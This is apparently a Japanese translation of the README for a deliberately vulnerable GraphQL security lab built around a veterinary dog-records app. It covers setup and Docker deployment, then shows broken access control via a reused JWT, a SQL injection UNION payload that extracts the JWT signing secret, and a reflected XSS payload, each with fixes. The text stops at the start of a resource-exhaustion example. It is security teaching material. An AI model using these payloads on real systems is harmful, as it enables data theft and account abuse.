
AppSecの観点からのGraphQL研究
さまざまな問題を研究するために、ラボが作成されました。これは犬の医療を管理する獣医のコンテキストを取ります。
ラボは IntelliJ IDEA Community Edition を使用して開発されました。
使用されるドメインは次のとおりです:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
ラボの条件と前提は次のとおりです。
* 獣医師は0匹またはN匹の犬と関連付けることができます。
* 犬は0人または1人の獣医師と関連付けることができます。
* 獣医師は**人気**というプロパティを持ち、これはストレージシステム(データベース)に存在しますが、機密情報であるためGraphQLクライアントからアクセスしてはいけません。
* GraphQLのデータ消費の観点は獣医師です。犬の情報は公開されています。
* ラボは明示的に脆弱なアプリケーションであり、いくつかの脆弱性が実装されており、コメント内の`[VULN]`マーカーで識別されています。
* 認証に関しては、偽のサードパーティサービス(サーブレット経由)が実装されており、トークン内に獣医師名を含むJWTトークンを返します。
プロジェクト内の起動設定またはコマンドライン`mvn spring-boot:run`で起動すると、ラボは次のエンドポイントで利用可能になります。
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
アプリケーションをポータブルjarファイルとしてパッケージ化するには、コマンド`mvn package`を使用します(事前にビルドされたjarファイルは[こちら](https://github.com/righettod/poc-graphql/releases)から入手できます)。
* jarファイルは*target*フォルダに作成され、*graphql-poc.jar*という名前になります。
* コマンド`java -jar graphql-poc.jar`を使用してアプリケーションを実行します。
## Dockerへのデプロイ
> イメージは毎日[DockerHub](https://hub.docker.com/r/righettod/poc-graphql)に公開されています。
Dockerコンテナにアプリケーションをデプロイするには、次の手順に従います。
1. `docker`がインストールされていることを確認してください。
2. リポジトリを`git clone`します。
3. クローンしたディレクトリに移動します。
4. `docker build -t poc-graphql .`を使用してDockerイメージをビルドします。
5. これで、**poc-graphql:latest**というイメージがマシンに作成されました。
6. `docker run -p 8080:8080 poc-graphql:latest`を使用してコンテナを実行します。
7. 次のエンドポイントを使用してラボにアクセスします。
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## セキュリティ上の脆弱性
### 認可
*壊れたアクセス制御*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### 問題
GraphQLはすべてのリクエストが送信される単一のエンドポイントに基づいており、認可は仕様の範囲外(組み込み機能なし)であるため。
認可ロジックを実装するのはアプリケーション次第です。
私のラボでは、アクセストークンの検証が**veterinaryId**に渡された獣医師にトークンが属していることを確認しないため、この点に脆弱性があります。
**Example:**
識別子**3**を持つ**Dr Julien**のアクセストークンを、次のGraphQLリクエストを送信して要求します。```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
以下のGraphQLレスポンスでアクセストークンを受け取ります:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
私は取得したアクセストークンを使用してクエリ`myInfo(...)`にGraphQLリクエストを送信しますが、**Dr Benoit**のものである識別子**2**を指定します:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
GraphQLレスポンスで、Dr Benoitに関連付けられたDogsのリストを受け取ります:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### 推奨
GraphQLでは、`Role x Feature` を用いた認可マトリクスから、`Role x Data` を用いたデータレベルのセキュリティへと移行しました。これは単一のエンドポイントであるためです。ユーザーIDとロールは、データを取得(または操作)する上位層に渡され、データ取得前にユーザーIDを用いた検証を適用する必要があります。
### インジェクション
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### 問題
GraphQLサーバーがデータストアに対して動作するために、GraphQLリクエストのクエリ/ミューテーション/サブスクリプションからの情報がどのように使用されるかに応じて、インジェクションの可能性があります。
私のラボでは、クエリ `dogs(namePrefix: String, limit: Int = 500): [Dog!]` におけるSQLiに関して、この点に脆弱性があります。なぜなら、パラメータ **namePrefix** が文字列連結に使用され、SQLクエリを構築しているからです。
**例:**
`CONFIG` テーブルの内容を一覧表示するために、次のGraphQLリクエストを送信します。```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
GraphQLレスポンス内で、JWTトークンの署名に使用されるシークレットと、名前が ab で始まる犬の名前を受け取ります:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
XSSについて、興味深いことに、送信されたリクエストの検証に失敗した場合、GraphQLレスポンスは送信されたパラメータをそのまま反映します。
**例:**
`myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` クエリにこのGraphQLリクエストを送信します。Veterinary識別子(整数)をString XSSペイロードに置き換えます:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
私はこのGraphQL応答を受け取り、それが私のペイロードを反映します。したがって、GraphQLクライアントとそのエスケープ/サニタイズ動作に応じて、XSSへの扉を開く可能性があります:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* Query/Mutation/Subscriptionを介して受信したデータに対して、使用前に入力検証を適用する
* GraphQLレスポンスからデータをレンダリングするクライアントが、レンダリング前にデータにエスケープ/サニタイゼーションを適用することを確認する
### Resource exhaustion
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### 問題
クライアントが要求するデータ量を制御できるため、クライアントは、GraphQLサーバーによって呼び出されるストレージ、およびデータのJSONへのシリアライゼーションのためのGraphQLサーバー自体にリソース枯渇を引き起こすクエリに対してGrapQLリクエストを送信することができます。
この問題は、パラメータに大量のデータを送信することでミューテーションを使用しても発生する可能性があります(入力検証はこの攻撃を防ぐために使用できます)。
この問題は、サブスクリプションを使用しても発生する可能性があります。その方法は次のとおりです:
* 多数のサブスクライバを登録し、公開された各サブスクリプションに対して行う。
* サブスクリプションで使用されるパラメータに大量のデータを送信する。
私のラボでは、クエリに関してこの点に脆弱性があります。具体的には、匿名ユーザーが利用可能で、Dogに関するDBの内容を取得するクエリ `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` です。DogsとVeterinaryの間には関係があり、その逆もあるため、カスケード呼び出しを実行してDBのSQLレベルでリソース枯渇を引き起こすことが可能です。
**例:**